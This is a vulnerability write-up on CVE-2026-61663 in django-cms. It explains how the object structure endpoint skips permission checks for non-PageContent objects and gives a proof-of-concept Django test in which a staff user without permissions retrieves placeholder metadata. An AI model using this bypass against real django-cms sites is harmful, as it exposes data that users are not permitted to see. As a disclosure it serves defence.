← Back to Write-Ups
Abstract cover for CVE-2026-61663 — Missing Authorization in render_object_structure

$ cat cve-2026-61663-django-cms.md

CVE-2026-61663 — Missing Authorization in render_object_structure

The Issue

django-cms exposes an admin endpoint for its frontend editing toolbar:

GET /<lang>/admin/cms/placeholder/object/<ct_id>/structure/<obj_id>/

The endpoint checks staff access via admin_view, but for non-PageContent objects, render_object_structure never enforces model permissions, object permissions, or the cms.use_structure permission before rendering the structure.

CVE-2026-61663 | Medium 4.3 | CWE-862 / CWE-639

Root Cause

The endpoint is registered in cms/admin/placeholderadmin.py:

pat(r'^object/([0-9]+)/structure/([0-9]+)/$', render_object_structure),

Inside cms/views.py, render_object_structure has a permission check only for PageContent:

if issubclass(content_type.model_class(), PageContent):
    # checks user_can_view_page, raises Http404 on failure
else:
    content_type_obj = content_type.get_object_for_this_type(pk=object_id)
    # No permission check at all

The object is then attached to the toolbar and rendered. The else branch has zero authorization enforcement.

Why It’s a Gap

The toolbar UI already gates structure mode behind cms.use_structure — staff access alone doesn’t show the structure switcher. But the backend endpoint bypasses that UI gate entirely. A user with only is_staff=True can call the structure endpoint directly for non-PageContent objects and receive structure metadata.

Proof of Concept

Using django-cms’ own test project model FancyPoll (a non-PageContent model with PlaceholderRelationField):

from cms.test_utils.testcases import CMSTestCase
from cms.test_utils.project.placeholder_relation_field_app.models import FancyPoll
from cms.toolbar.utils import get_object_structure_url
from cms.utils.placeholder import rescan_placeholders_for_obj

class RenderObjectStructureAuthorizationPoC(CMSTestCase):
    def test_staff_without_permissions_can_read_non_pagecontent_structure(self):
        target = FancyPoll.objects.create(name="private-fancy-poll")
        rescan_placeholders_for_obj(target)
        attacker = self._create_user("low_staff_no_model_perms",
                                      is_staff=True, is_superuser=False)

        self.assertFalse(attacker.has_perm(
            "placeholder_relation_field_app.change_fancypoll"))
        self.assertFalse(attacker.has_perm("cms.use_structure"))

        structure_url = get_object_structure_url(target, language="en")
        with self.login_user_context(attacker):
            response = self.client.get(structure_url)

        self.assertEqual(response.status_code, 200)

Result: HTTP 200 — the response contains the target placeholder ID, leaking structure metadata.

Impact

Low-privileged staff users can read placeholder/plugin metadata for non-PageContent objects they should not be able to inspect. This can leak placeholder names, plugin layout, plugin identifiers, and object existence across teams — especially relevant for deployments using third-party django-cms apps that expose frontend-editable objects outside PageContent.